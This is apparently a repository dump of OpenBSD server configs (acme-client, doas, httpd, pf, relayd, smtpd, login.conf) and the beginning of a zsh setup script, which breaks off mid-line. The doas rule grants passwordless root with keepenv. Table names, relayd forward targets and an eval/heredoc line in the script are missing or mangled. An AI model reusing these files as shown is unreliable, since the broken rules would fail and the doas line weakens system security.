\"/var/www/acme\"\n}\n\ndomain \"cardff.uk\" {\n  alternative names { \"cardff.uk\" \"marketplace.cardff.uk\" \"playlist.cardff.uk\" \"dating.cardff.uk\" \"tv.cardff.uk\" \"takeaway.cardff.uk\" \"maps.cardff.uk\" }\n  domain key \"/etc/ssl/private/cardff.uk.key\"\n  domain full chain certificate \"/etc/ssl/cardff.uk.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"edinbrgh.uk\" {\n  alternative names { \"edinbrgh.uk\" \"marketplace.edinbrgh.uk\" \"playlist.edinbrgh.uk\" \"dating.edinbrgh.uk\" \"tv.edinbrgh.uk\" \"takeaway.edinbrgh.uk\" \"maps.edinbrgh.uk\" }\n  domain key \"/etc/ssl/private/edinbrgh.uk.key\"\n  domain full chain certificate \"/etc/ssl/edinbrgh.uk.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"glasgw.uk\" {\n  alternative names { \"glasgw.uk\" \"marketplace.glasgw.uk\" \"playlist.glasgw.uk\" \"dating.glasgw.uk\" \"tv.glasgw.uk\" \"takeaway.glasgw.uk\" \"maps.glasgw.uk\" }\n  domain key \"/etc/ssl/private/glasgw.uk.key\"\n  domain full chain certificate \"/etc/ssl/glasgw.uk.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"lndon.uk\" {\n  alternative names { \"lndon.uk\" \"marketplace.lndon.uk\" \"playlist.lndon.uk\" \"dating.lndon.uk\" \"tv.lndon.uk\" \"takeaway.lndon.uk\" \"maps.lndon.uk\" }\n  domain key \"/etc/ssl/private/lndon.uk.key\"\n  domain full chain certificate \"/etc/ssl/lndon.uk.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"lverpool.uk\" {\n  alternative names { \"lverpool.uk\" \"marketplace.lverpool.uk\" \"playlist.lverpool.uk\" \"dating.lverpool.uk\" \"tv.lverpool.uk\" \"takeaway.lverpool.uk\" \"maps.lverpool.uk\" }\n  domain key \"/etc/ssl/private/lverpool.uk.key\"\n  domain full chain certificate \"/etc/ssl/lverpool.uk.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"mnchester.uk\" {\n  alternative names { \"mnchester.uk\" \"marketplace.mnchester.uk\" \"playlist.mnchester.uk\" \"dating.mnchester.uk\" \"tv.mnchester.uk\" \"takeaway.mnchester.uk\" \"maps.mnchester.uk\" }\n  domain key \"/etc/ssl/private/mnchester.uk.key\"\n  domain full chain certificate \"/etc/ssl/mnchester.uk.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"amstrdam.nl\" {\n  alternative names { \"amstrdam.nl\" \"marktplaats.amstrdam.nl\" \"playlist.amstrdam.nl\" \"dating.amstrdam.nl\" \"tv.amstrdam.nl\" \"takeaway.amstrdam.nl\" \"maps.amstrdam.nl\" }\n  domain key \"/etc/ssl/private/amstrdam.nl.key\"\n  domain full chain certificate \"/etc/ssl/amstrdam.nl.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"rottrdam.nl\" {\n  alternative names { \"rottrdam.nl\" \"marktplaats.rottrdam.nl\" \"playlist.rottrdam.nl\" \"dating.rottrdam.nl\" \"tv.rottrdam.nl\" \"takeaway.rottrdam.nl\" \"maps.rottrdam.nl\" }\n  domain key \"/etc/ssl/private/rottrdam.nl.key\"\n  domain full chain certificate \"/etc/ssl/rottrdam.nl.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"utrcht.nl\" {\n  alternative names { \"utrcht.nl\" \"marktplaats.utrcht.nl\" \"playlist.utrcht.nl\" \"dating.utrcht.nl\" \"tv.utrcht.nl\" \"takeaway.utrcht.nl\" \"maps.utrcht.nl\" }\n  domain key \"/etc/ssl/private/utrcht.nl.key\"\n  domain full chain certificate \"/etc/ssl/utrcht.nl.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"brssels.be\" {\n  alternative names { \"brssels.be\" \"marche.brssels.be\" \"playlist.brssels.be\" \"dating.brssels.be\" \"tv.brssels.be\" \"takeaway.brssels.be\" \"maps.brssels.be\" }\n  domain key \"/etc/ssl/private/brssels.be.key\"\n  domain full chain certificate \"/etc/ssl/brssels.be.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"zrich.ch\" {\n  alternative names { \"zrich.ch\" \"marktplatz.zrich.ch\" \"playlist.zrich.ch\" \"dating.zrich.ch\" \"tv.zrich.ch\" \"takeaway.zrich.ch\" \"maps.zrich.ch\" }\n  domain key \"/etc/ssl/private/zrich.ch.key\"\n  domain full chain certificate \"/etc/ssl/zrich.ch.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"lchtenstein.li\" {\n  alternative names { \"lchtenstein.li\" \"marktplatz.lchtenstein.li\" \"playlist.lchtenstein.li\" \"dating.lchtenstein.li\" \"tv.lchtenstein.li\" \"takeaway.lchtenstein.li\" \"maps.lchtenstein.li\" }\n  domain key \"/etc/ssl/private/lchtenstein.li.key\"\n  domain full chain certificate \"/etc/ssl/lchtenstein.li.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"frankfrt.de\" {\n  alternative names { \"frankfrt.de\" \"marktplatz.frankfrt.de\" \"playlist.frankfrt.de\" \"dating.frankfrt.de\" \"tv.frankfrt.de\" \"takeaway.frankfrt.de\" \"maps.frankfrt.de\" }\n  domain key \"/etc/ssl/private/frankfrt.de.key\"\n  domain full chain certificate \"/etc/ssl/frankfrt.de.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"brdeaux.fr\" {\n  alternative names { \"brdeaux.fr\" \"marche.brdeaux.fr\" \"playlist.brdeaux.fr\" \"dating.brdeaux.fr\" \"tv.brdeaux.fr\" \"takeaway.brdeaux.fr\" \"maps.brdeaux.fr\" }\n  domain key \"/etc/ssl/private/brdeaux.fr.key\"\n  domain full chain certificate \"/etc/ssl/brdeaux.fr.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"mrseille.fr\" {\n  alternative names { \"mrseille.fr\" \"marche.mrseille.fr\" \"playlist.mrseille.fr\" \"dating.mrseille.fr\" \"tv.mrseille.fr\" \"takeaway.mrseille.fr\" \"maps.mrseille.fr\" }\n  domain key \"/etc/ssl/private/mrseille.fr.key\"\n  domain full chain certificate \"/etc/ssl/mrseille.fr.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"mlan.it\" {\n  alternative names { \"mlan.it\" \"mercato.mlan.it\" \"playlist.mlan.it\" \"dating.mlan.it\" \"tv.mlan.it\" \"takeaway.mlan.it\" \"maps.mlan.it\" }\n  domain key \"/etc/ssl/private/mlan.it.key\"\n  domain full chain certificate \"/etc/ssl/mlan.it.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"lisbon.pt\" {\n  alternative names { \"lisbon.pt\" \"mercado.lisbon.pt\" \"playlist.lisbon.pt\" \"dating.lisbon.pt\" \"tv.lisbon.pt\" \"takeaway.lisbon.pt\" \"maps.lisbon.pt\" }\n  domain key \"/etc/ssl/private/lisbon.pt.key\"\n  domain full chain certificate \"/etc/ssl/lisbon.pt.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"wrsawa.pl\" {\n  alternative names { \"wrsawa.pl\" \"marktplatz.wrsawa.pl\" \"playlist.wrsawa.pl\" \"dating.wrsawa.pl\" \"tv.wrsawa.pl\" \"takeaway.wrsawa.pl\" \"maps.wrsawa.pl\" }\n  domain key \"/etc/ssl/private/wrsawa.pl.key\"\n  domain full chain certificate \"/etc/ssl/wrsawa.pl.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"gdnsk.pl\" {\n  alternative names { \"gdnsk.pl\" \"marktplatz.gdnsk.pl\" \"playlist.gdnsk.pl\" \"dating.gdnsk.pl\" \"tv.gdnsk.pl\" \"takeaway.gdnsk.pl\" \"maps.gdnsk.pl\" }\n  domain key \"/etc/ssl/private/gdnsk.pl.key\"\n  domain full chain certificate \"/etc/ssl/gdnsk.pl.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"austn.us\" {\n  alternative names { \"austn.us\" \"marketplace.austn.us\" \"playlist.austn.us\" \"dating.austn.us\" \"tv.austn.us\" \"takeaway.austn.us\" \"maps.austn.us\" }\n  domain key \"/etc/ssl/private/austn.us.key\"\n  domain full chain certificate \"/etc/ssl/austn.us.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"chcago.us\" {\n  alternative names { \"chcago.us\" \"marketplace.chcago.us\" \"playlist.chcago.us\" \"dating.chcago.us\" \"tv.chcago.us\" \"takeaway.chcago.us\" \"maps.chcago.us\" }\n  domain key \"/etc/ssl/private/chcago.us.key\"\n  domain full chain certificate \"/etc/ssl/chcago.us.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"denvr.us\" {\n  alternative names { \"denvr.us\" \"marketplace.denvr.us\" \"playlist.denvr.us\" \"dating.denvr.us\" \"tv.denvr.us\" \"takeaway.denvr.us\" \"maps.denvr.us\" }\n  domain key \"/etc/ssl/private/denvr.us.key\"\n  domain full chain certificate \"/etc/ssl/denvr.us.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"dllas.us\" {\n  alternative names { \"dllas.us\" \"marketplace.dllas.us\" \"playlist.dllas.us\" \"dating.dllas.us\" \"tv.dllas.us\" \"takeaway.dllas.us\" \"maps.dllas.us\" }\n  domain key \"/etc/ssl/private/dllas.us.key\"\n  domain full chain certificate \"/etc/ssl/dllas.us.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"dnver.us\" {\n  alternative names { \"dnver.us\" \"marketplace.dnver.us\" \"playlist.dnver.us\" \"dating.dnver.us\" \"tv.dnver.us\" \"takeaway.dnver.us\" \"maps.dnver.us\" }\n  domain key \"/etc/ssl/private/dnver.us.key\"\n  domain full chain certificate \"/etc/ssl/dnver.us.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"dtroit.us\" {\n  alternative names { \"dtroit.us\" \"marketplace.dtroit.us\" \"playlist.dtroit.us\" \"dating.dtroit.us\" \"tv.dtroit.us\" \"takeaway.dtroit.us\" \"maps.dtroit.us\" }\n  domain key \"/etc/ssl/private/dtroit.us.key\"\n  domain full chain certificate \"/etc/ssl/dtroit.us.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"houstn.us\" {\n  alternative names { \"houstn.us\" \"marketplace.houstn.us\" \"playlist.houstn.us\" \"dating.houstn.us\" \"tv.houstn.us\" \"takeaway.houstn.us\" \"maps.houstn.us\" }\n  domain key \"/etc/ssl/private/houstn.us.key\"\n  domain full chain certificate \"/etc/ssl/houstn.us.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"lsangeles.com\" {\n  alternative names { \"lsangeles.com\" \"marketplace.lsangeles.com\" \"playlist.lsangeles.com\" \"dating.lsangeles.com\" \"tv.lsangeles.com\" \"takeaway.lsangeles.com\" \"maps.lsangeles.com\" }\n  domain key \"/etc/ssl/private/lsangeles.com.key\"\n  domain full chain certificate \"/etc/ssl/lsangeles.com.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"mnnesota.com\" {\n  alternative names { \"mnnesota.com\" \"marketplace.mnnesota.com\" \"playlist.mnnesota.com\" \"dating.mnnesota.com\" \"tv.mnnesota.com\" \"takeaway.mnnesota.com\" \"maps.mnnesota.com\" }\n  domain key \"/etc/ssl/private/mnnesota.com.key\"\n  domain full chain certificate \"/etc/ssl/mnnesota.com.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"newyrk.us\" {\n  alternative names { \"newyrk.us\" \"marketplace.newyrk.us\" \"playlist.newyrk.us\" \"dating.newyrk.us\" \"tv.newyrk.us\" \"takeaway.newyrk.us\" \"maps.newyrk.us\" }\n  domain key \"/etc/ssl/private/newyrk.us.key\"\n  domain full chain certificate \"/etc/ssl/newyrk.us.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"prtland.com\" {\n  alternative names { \"prtland.com\" \"marketplace.prtland.com\" \"playlist.prtland.com\" \"dating.prtland.com\" \"tv.prtland.com\" \"takeaway.prtland.com\" \"maps.prtland.com\" }\n  domain key \"/etc/ssl/private/prtland.com.key\"\n  domain full chain certificate \"/etc/ssl/prtland.com.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"wshingtondc.com\" {\n  alternative names { \"wshingtondc.com\" \"marketplace.wshingtondc.com\" \"playlist.wshingtondc.com\" \"dating.wshingtondc.com\" \"tv.wshingtondc.com\" \"takeaway.wshingtondc.com\" \"maps.wshingtondc.com\" }\n  domain key \"/etc/ssl/private/wshingtondc.com.key\"\n  domain full chain certificate \"/etc/ssl/wshingtondc.com.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"pub.healthcare\" {\n  domain key \"/etc/ssl/private/pub.healthcare.key\"\n  domain full chain certificate \"/etc/ssl/pub.healthcare.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"pub.attorney\" {\n  domain key \"/etc/ssl/private/pub.attorney.key\"\n  domain full chain certificate \"/etc/ssl/pub.attorney.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"freehelp.legal\" {\n  domain key \"/etc/ssl/private/freehelp.legal.key\"\n  domain full chain certificate \"/etc/ssl/freehelp.legal.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"bsdports.org\" {\n  domain key \"/etc/ssl/private/bsdports.org.key\"\n  domain full chain certificate \"/etc/ssl/bsdports.org.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"bsddocs.org\" {\n  domain key \"/etc/ssl/private/bsddocs.org.key\"\n  domain full chain certificate \"/etc/ssl/bsddocs.org.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"discordb.org\" {\n  domain key \"/etc/ssl/private/discordb.org.key\"\n  domain full chain certificate \"/etc/ssl/discordb.org.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"foodielicio.us\" {\n  domain key \"/etc/ssl/private/foodielicio.us.key\"\n  domain full chain certificate \"/etc/ssl/foodielicio.us.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"stacyspassion.com\" {\n  domain key \"/etc/ssl/private/stacyspassion.com.key\"\n  domain full chain certificate \"/etc/ssl/stacyspassion.com.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"antibettingblog.com\" {\n  domain key \"/etc/ssl/private/antibettingblog.com.key\"\n  domain full chain certificate \"/etc/ssl/antibettingblog.com.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"anticasinoblog.com\" {\n  domain key \"/etc/ssl/private/anticasinoblog.com.key\"\n  domain full chain certificate \"/etc/ssl/anticasinoblog.com.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"antigamblingblog.com\" {\n  domain key \"/etc/ssl/private/antigamblingblog.com.key\"\n  domain full chain certificate \"/etc/ssl/antigamblingblog.com.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"foball.no\" {\n  domain key \"/etc/ssl/private/foball.no.key\"\n  domain full chain certificate \"/etc/ssl/foball.no.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"amber.brgen.no\" {\n  domain key \"/etc/ssl/private/amber.brgen.no.key\"\n  domain full chain certificate \"/etc/ssl/amber.brgen.no.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\ndomain \"baibl.no\" {\n  domain key \"/etc/ssl/private/baibl.no.key\"\n  domain full chain certificate \"/etc/ssl/baibl.no.fullchain.pem\"\n  sign with letsencrypt\n  challengedir \"/var/www/acme\"\n}\n\n```\n\n## `openbsd/etc/doas.conf`\n```text\npermit nopass keepenv dev as root\npermit nopass dev as root cmd /sbin/rcctl args restart master\n```\n\n## `openbsd/etc/httpd.conf`\n```text\n# httpd(8): ACME challenges and HTTP to HTTPS redirect per httpd.conf(5)\n\nserver \"*\" {\n  listen on 0.0.0.0 port 80\n\n  location \"/.well-known/acme-challenge/*\" {\n    root \"/acme\"\n    request strip 2\n  }\n\n  location * {\n    block return 301 \"https://$HTTP_HOST$REQUEST_URI\"\n  }\n}\n\nserver \"brgen.no\" {\n  listen on * port 6666\n  root \"/postpro\"\n  directory index index.html\n}\n```\n\n## `openbsd/etc/login.conf`\n```text\n# $OpenBSD: login.conf,v 1.27 2025/07/17 14:44:42 landry Exp $\n\n#\n# Sample login.conf file.  See login.conf(5) for details.\n#\n\n#\n# Standard authentication styles:\n#\n# passwd\tUse only the local password file\n# chpass\tDo not authenticate, but change user's password (change\n#\t\tthe YP password if the user has one, else change the\n#\t\tlocal password)\n# lchpass\tDo not login; change user's local password instead\n# ldap\t\tUse LDAP authentication\n# radius\tUse RADIUS authentication\n# reject\tUse rejected authentication\n# skey\t\tUse S/Key authentication\n# activ\t\tActivCard X9.9 token authentication\n# crypto\tCRYPTOCard X9.9 token authentication\n# snk\t\tDigital Pathways SecureNet Key authentication\n# token\t\tGeneric X9.9 token authentication\n# yubikey\tYubiKey authentication\n#\n\n# Default allowed authentication styles\nauth-defaults:auth=passwd,skey:\n\n# Default allowed authentication styles for authentication type ftp\nauth-ftp-defaults:auth-ftp=passwd:\n\n#\n# The default values\n# To alter the default authentication types change the line:\n#\t:tc=auth-defaults:\\\n# to read something like: (enables passwd, \"myauth\", and activ)\n#\t:auth=passwd,myauth,activ:\\\n# Any value changed in the daemon class should be reset in default\n# class.\n#\ndefault:\\\n\t:path=/usr/bin /bin /usr/sbin /sbin /usr/X11R6/bin /usr/local/bin /usr/local/sbin:\\\n\t:umask=022:\\\n\t:datasize-max=1536M:\\\n\t:datasize-cur=1536M:\\\n\t:maxproc-max=256:\\\n\t:maxproc-cur=128:\\\n\t:openfiles-max=1024:\\\n\t:openfiles-cur=512:\\\n\t:stacksize-cur=4M:\\\n\t:localcipher=blowfish,a:\\\n\t:tc=auth-defaults:\\\n\t:tc=auth-ftp-defaults:\n\n#\n# Settings used by /etc/rc and root\n# This must be set properly for daemons started as root by inetd as well.\n# Be sure to reset these values to system defaults in the default class!\n#\ndaemon:\\\n\t:ignorenologin:\\\n\t:datasize=4096M:\\\n\t:maxproc=infinity:\\\n\t:openfiles-max=1024:\\\n\t:openfiles-cur=128:\\\n\t:stacksize-cur=8M:\\\n\t:tc=default:\n\n#\n# Staff have fewer restrictions and can login even when nologins are set.\n#\nstaff:\\\n\t:datasize-cur=1536M:\\\n\t:datasize-max=infinity:\\\n\t:maxproc-max=512:\\\n\t:maxproc-cur=256:\\\n\t:ignorenologin:\\\n\t:requirehome@:\\\n\t:tc=default:\n\n#\n# Authpf accounts get a special motd and shell\n#\nauthpf:\\\n\t:welcome=/etc/motd.authpf:\\\n\t:shell=/usr/sbin/authpf:\\\n\t:tc=default:\n\n#\n# Building LLVM in base requires higher limits\n#\nbuild:\\\n\t:datasize-max=1843M:\\\n\t:datasize-cur=1843M:\\\n\t:tc=default:\n\n#\n# Building ports with DPB uses raised limits\n#\npbuild:\\\n\t:datasize-max=infinity:\\\n\t:datasize-cur=12G:\\\n\t:maxproc-max=1024:\\\n\t:maxproc-cur=512:\\\n\t:stacksize-cur=8M:\\\n\t:priority=5:\\\n\t:tc=default:\n\n#\n# Override resource limits for certain daemons started by rc.d(8)\n#\nrails:\\\n\t:datasize=4096M:\\\n\t:openfiles-max=4096:\\\n\t:openfiles-cur=2048:\\\n\t:maxproc-max=512:\\\n\t:maxproc-cur=256:\\\n\t:tc=daemon:\n\nbgpd:\\\n\t:datasize=16384M:\\\n\t:openfiles=512:\\\n\t:tc=daemon:\n\nunbound:\\\n\t:openfiles=512:\\\n\t:tc=daemon:\n\nvmd:\\\n\t:datasize=16384M:\\\n\t:tc=daemon:\n\nxenodm:\\\n\t:openfiles=512:\\\n\t:tc=daemon:\n```\n\n## `openbsd/etc/mail/smtpd.conf`\n```text\ntable aliases file:/etc/mail/aliases\n\nlisten on socket\nlisten on lo0\n\naction \"local_mail\" mbox alias \naction \"outbound\" relay\n\nmatch from local for local action \"local_mail\"\nmatch from local for any action \"outbound\"\n```\n\n## `openbsd/etc/pf.conf`\n```text\next_if = \"vio0\"\nbrgen_ip = \"46.23.89.226\"\nhyp_ip = \"194.63.248.53\"\n\ntable  persist\n\nset skip on lo\nset block-policy drop\n\nmatch in all scrub (no-df random-id max-mss 1440)\n\nantispoof quick for $ext_if\n\nblock log all\n\n# Bruteforce table: block first, evaluated quick before pass rules\nblock quick from \n\npass out on $ext_if all keep state\n\n# SSH: rate-limit and feed brutes into table\npass in on $ext_if inet proto tcp to $ext_if port 22 \\\n  keep state (max-src-conn 10, max-src-conn-rate 5/30, \\\n  overload  flush global)\n\n# DNS (authoritative NSD)\npass in on $ext_if inet proto { tcp, udp } to $brgen_ip port 53 keep state\npass in on $ext_if inet proto udp to $hyp_ip port 53 keep state\n\n# HTTP/HTTPS: rate-limit new connections\npass in on $ext_if inet proto tcp to $ext_if port 80 \\\n  keep state (max-src-conn-rate 200/10, overload  flush global)\npass in on $ext_if inet proto tcp to $ext_if port 443 \\\n  keep state (max-src-conn-rate 500/10, overload  flush global)\n\npass inet proto icmp all icmp-type { echoreq, unreach, timex }\n\nanchor \"relayd/*\"\n```\n\n## `openbsd/etc/pf.stage1.conf`\n```text\n# Minimal PF for Stage 1 per pf.conf(5) - OpenBSD 7.8\next_if = \"vio0\"\nbrgen_ip = \"$BRGEN_IP\"\nhyp_ip = \"$HYP_IP\"\nset skip on lo\nset block-policy return\nblock log all\npass out on \\$ext_if all\npass in on \\$ext_if inet proto tcp to \\$ext_if port 22 keep state\npass in on \\$ext_if inet proto { tcp, udp } to \\$brgen_ip port 53 keep state\npass in on \\$ext_if inet proto udp to \\$hyp_ip port 53 keep state\npass in on \\$ext_if inet proto tcp to \\$ext_if port 80 keep state\npass inet proto icmp all icmp-type { echoreq, unreach, timex }\n```\n\n## `openbsd/etc/relayd.conf`\n```text\nlog connection errors\n\ntable  { 127.0.0.1 }\ntable  { 127.0.0.1 }\ntable  { 127.0.0.1 }\ntable  { 127.0.0.1 }\ntable  { 127.0.0.1 }\n\nhttp protocol \"https_proxy\" {\n  tls keypair \"brgen.no\"\n  tls keypair \"amber.brgen.no\"\n  tls keypair \"bsdports.org\"\n  match request header set \"X-Forwarded-Proto\" value \"https\"\n  match request header set \"X-Forwarded-For\" value \"$REMOTE_ADDR\"\n  match response header set \"Strict-Transport-Security\" value \"max-age=31536000; includeSubDomains; preload\"\n  match response header set \"Content-Security-Policy\" value \"upgrade-insecure-requests; default-src https: 'self' 'unsafe-inline' blob:; media-src 'self' blob:; connect-src 'self'\"\n  match response header set \"Referrer-Policy\" value \"strict-origin\"\n  match response header set \"X-Content-Type-Options\" value \"nosniff\"\n  match response header set \"X-Frame-Options\" value \"SAMEORIGIN\"\n  match response header set \"X-XSS-Protection\" value \"0\"\n  match response header set \"Permissions-Policy\" value \"accelerometer=(), camera=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=()\"\n  match response header remove \"Server\"\n  http websockets\n  match request header \"Host\" value \"brgen.no\" forward to \n  match request header \"Host\" value \"www.brgen.no\" forward to \n  match request header \"Host\" value \"tv.brgen.no\" forward to \n  match request header \"Host\" value \"dating.brgen.no\" forward to \n  match request header \"Host\" value \"playlist.brgen.no\" forward to \n  match request header \"Host\" value \"takeaway.brgen.no\" forward to \n  match request header \"Host\" value \"markedsplass.brgen.no\" forward to \n  match request header \"Host\" value \"amber.brgen.no\" forward to \n  match request header \"Host\" value \"ai.brgen.no\" forward to \n  match request header \"Host\" value \"bsdports.org\" forward to \n  match request header \"Host\" value \"baibl.no\" forward to \n  pass\n}\n\nrelay \"https_in\" {\n  listen on 0.0.0.0 port 443 tls\n  protocol \"https_proxy\"\n  forward to  port 38182 check http \"/\" code 200\n  forward to  port 61352 check http \"/\" code 200\n  forward to  port 53187 check http \"/up\" code 200\n  forward to  port 47312 check tcp\n  forward to  port 10007 check tcp\n}\n```\n\n## `openbsd/openbsd.sh`\n```bash\n#!/usr/bin/env zsh\n# Configure OpenBSD 7.8: NSD/DNSSEC, acme-client, Rails, pf, relayd, smtpd.\n# Usage: doas zsh openbsd.sh [--help]\n# VERIFIED AGAINST: OpenBSD 7.8 manual pages (2026-01-06)\n\nset -euo pipefail\nsetopt no_unset nullglob local_traps\nzmodload zsh/regex\nzmodload zsh/datetime\n\ntypeset -a TMPFILES\nSCRIPT_DIR=${0:a:h}\n\n# Helpers inlined ( _lib.sh removed for ONE_SOURCE/singularity). Pure Zsh: log, backup_directory, install_*, sync_openbsd_configs (now ships .zshrc to /home/dev too).\nlog() {\n  typeset level=$1; shift\n  print -r -- \"[$(date +'%Y-%m-%d %H:%M:%S')] [$level] $*\" | tee -a /var/log/openbsd_setup.log &gt;&amp;2\n}\nlog_info()  { log INFO \"$@\" }\nlog_error() { log ERROR \"$@\" }\n\ntransaction_log() {\n  typeset operation=$1 target=$2 op_status=$3 metadata=${4:-}\n  print -r -- \"[$(date +'%Y-%m-%d %H:%M:%S')] [$operation] $target | Status: $op_status | $metadata\" \\\n    &gt;&gt; /var/log/openbsd_transactions.log\n}\n\ncleanup() {\n  typeset exit_code=$?\n  for tmpfile in \"${TMPFILES[@]}\"; do\n    [[ -n $tmpfile &amp;&amp; -f $tmpfile ]] &amp;&amp; rm -f \"$tmpfile\"\n  done\n  return $exit_code\n}\n\nerror_handler() {\n  typeset exit_code=$1 line_num=$2\n  log ERROR \"Script failed with exit code $exit_code at line $line_num\"\n  cleanup\n  exit $exit_code\n}\n\nbackup_directory() {\n  typeset target_dir=$1 backup_name=${2:-${1:t}}\n  typeset backup_dir=/var/backups/openbsd_setup\n  typeset backup_file=\"$backup_dir/${backup_name}-${EPOCHSECONDS}.tar.gz\"\n  [[ ! -d $backup_dir ]] &amp;&amp; mkdir -p \"$backup_dir\"\n  [[ ! -d $target_dir ]] &amp;&amp; { log WARN \"Directory $target_dir does not exist, skipping backup\"; return 0 }\n  log INFO \"Backing up $target_dir to $backup_file\"\n  transaction_log \"BACKUP\" \"$target_dir\" \"START\"\n  if tar -czf \"$backup_file\" -C \"${target_dir:h}\" \"${target_dir:t}\" 2&gt;/dev/null; then\n    transaction_log \"BACKUP\" \"$target_dir\" \"SUCCESS\" \"$backup_file\"\n    typeset -a _bfiles; _bfiles=(\"$backup_dir\"/${backup_name}-*.tar.gz(N))\n    (( ${#_bfiles} &gt; 10 )) &amp;&amp; {\n      typeset -a _sorted; _sorted=(\"$backup_dir\"/${backup_name}-*.tar.gz(NOm))\n      for _f in \"${_sorted[@]:10}\"; do rm -f \"$_f\"; done\n    }\n    echo \"$backup_file\"\n    return 0\n  else\n    transaction_log \"BACKUP\" \"$target_dir\" \"FAILURE\"\n    log ERROR \"Backup failed for $target_dir\"\n    return 1\n  fi\n}\n\ninstall_template() {\n  typeset src=${SCRIPT_DIR}/$1 dst=$2\n  [[ -f $src ]] || { log ERROR \"Missing template: $src\"; exit 1 }\n  typeset content; content=$(&lt;\"$src\")\n  eval \"cat &gt; \\\"$dst\\\" &lt;&gt; \\\"$dst\\\" &lt;&gt; \"${STATE_FILE}.steps\" }\n\n# Safe pure-Zsh sync for DEPLOY/openbsd tree (used on target VPS)\n# Usage: sync_openbsd_configs /path/to/checked-out/DEPLOY/openbsd\nsync_openbsd_configs() {\n  typeset src=${1:-.}\n  [[ -d $src/etc ]] || { log WARN \"No etc/ in $src\"; return 0 }\n  backup_directory /etc \"etc-pre-sync\" || return 1\n  for f in pf.conf rc.conf.local relayd.conf httpd.conf acme-client.conf doas.conf login.conf; do\n    [[ -e $src/etc/$f ]] &amp;&amp; cp -R \"$src/etc/$f\" /etc/ &amp;&amp; log INFO \"synced /etc/$f\"\n  done\n  [[ -d $src/etc/rc.d ]] &amp;&amp; cp -R \"$src/etc/rc.d/\"* /etc/rc.d/ 2&gt;/dev/null || true\n  [[ -d $src/usr/local/bin ]] &amp;&amp; cp -R \"$src/usr/local/bin/\"* /usr/local/bin/ 2&gt;/dev/null || true\n  # Also sync user env .zshrc if present (compare/sync with live model)\n  if [[ -f $src/etc/.zshrc ]]; then\n    install -d -o dev -g dev -m 700 /home/dev 2&gt;/dev/null || true\n    cp \"$src/etc/.zshrc\" /home/dev/.zshrc\n    chown dev:dev /home/dev/.zshrc 2&gt;/dev/null || true\n    chmod 644 